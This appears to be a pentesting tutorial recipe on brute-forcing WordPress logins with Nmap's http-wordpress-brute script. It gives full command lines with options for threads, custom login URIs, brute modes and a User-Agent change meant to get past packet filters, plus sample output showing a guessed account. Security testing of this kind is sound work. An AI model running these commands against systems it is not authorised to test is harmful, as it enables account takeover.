WordPress is a widely known CMS (Content Management System) that is used in many industries. Nmap now includes its own NSE script to help pentesters launch dictionary attacks and find accounts using weak passwords that could compromise the application's integrity.
This recipe shows how to perform brute force password auditing against WordPress installations.
To find accounts with weak passwords in WordPress installations, use the following Nmap command:
$ nmap -p80 --script http-wordpress-brute <target>
All of the valid accounts that were found will be shown in the results:
PORT STATE SERVICE REASON 80/tcp open http syn-ack | http-wordpress-brute: | Accounts | papa:a1b2c3d4 => Login correct | Statistics |_ Perfomed 360 guesses in 17 seconds, average tps: 6
The argument -p80 –script http-wordpress-brute
initiates the NSE script http-wordpress-brute
if a web server is found on port 80 (-p80
). I developed this script to save me from having to set the WordPress URI and the HTML variable names for the usernames and passwords, when using http-brute
against WordPress installations.
This script uses the following default variables:
uri
: /wp-login.php
uservar
: log
passvar
: pwd
To set the number of threads, use the script argument http-wordpress-brute.threads
:
$ nmap -p80 --script http-wordpress-brute --script-args http-wordpress-brute.threads=5 <target>
If the server has virtual hosting, set the host field by using the argument http-wordpress-brute.hostname
:
$ nmap -p80 --script http-wordpress-brute --script-args http-wordpress-brute.hostname="ahostname.wordpress.com" <target>
To set a different login URI, use the argument http-wordpress-brute.uri
:
$ nmap -p80 --script http-wordpress-brute --script-args http-wordpress-brute.uri="/hidden-wp-login.php" <target>
To change the name of the POST
variable that stores the usernames and passwords, set the arguments http-wordpress-brute.uservar
and http-wordpress-brute.passvar
:
$ nmap -p80 --script http-wordpress-brute --script-args http-wordpress-brute.uservar=usuario,http-wordpress-brute.passvar=pasguord <target>
There are some packet filtering products that block requests made using Nmap's default HTTP User Agent. You can use a different User Agent value by setting the argument http.useragent
:
$ nmap -p80 --script http-wordpress-brute --script-args http.useragent="Mozilla 42" <target>
The Brute library supports different modes that alter the combinations used in the attack. The available modes are:
user
: In this mode, for each user listed in userdb
, every password in passdb
will be tried$ nmap --script http-wordpress-brute --script-args brute.mode=user <target>
pass
: In this mode, for each password listed in passdb
, every user in usedb
will be tried$ nmap --script http-wordpress-brute --script-args brute.mode=pass <target>
creds
: This mode requires the additional argument brute.credfile
$ nmap --script http-wordpress-brute --script-args brute.mode=creds,brute.credfile=./creds.txt <target>
3.144.222.185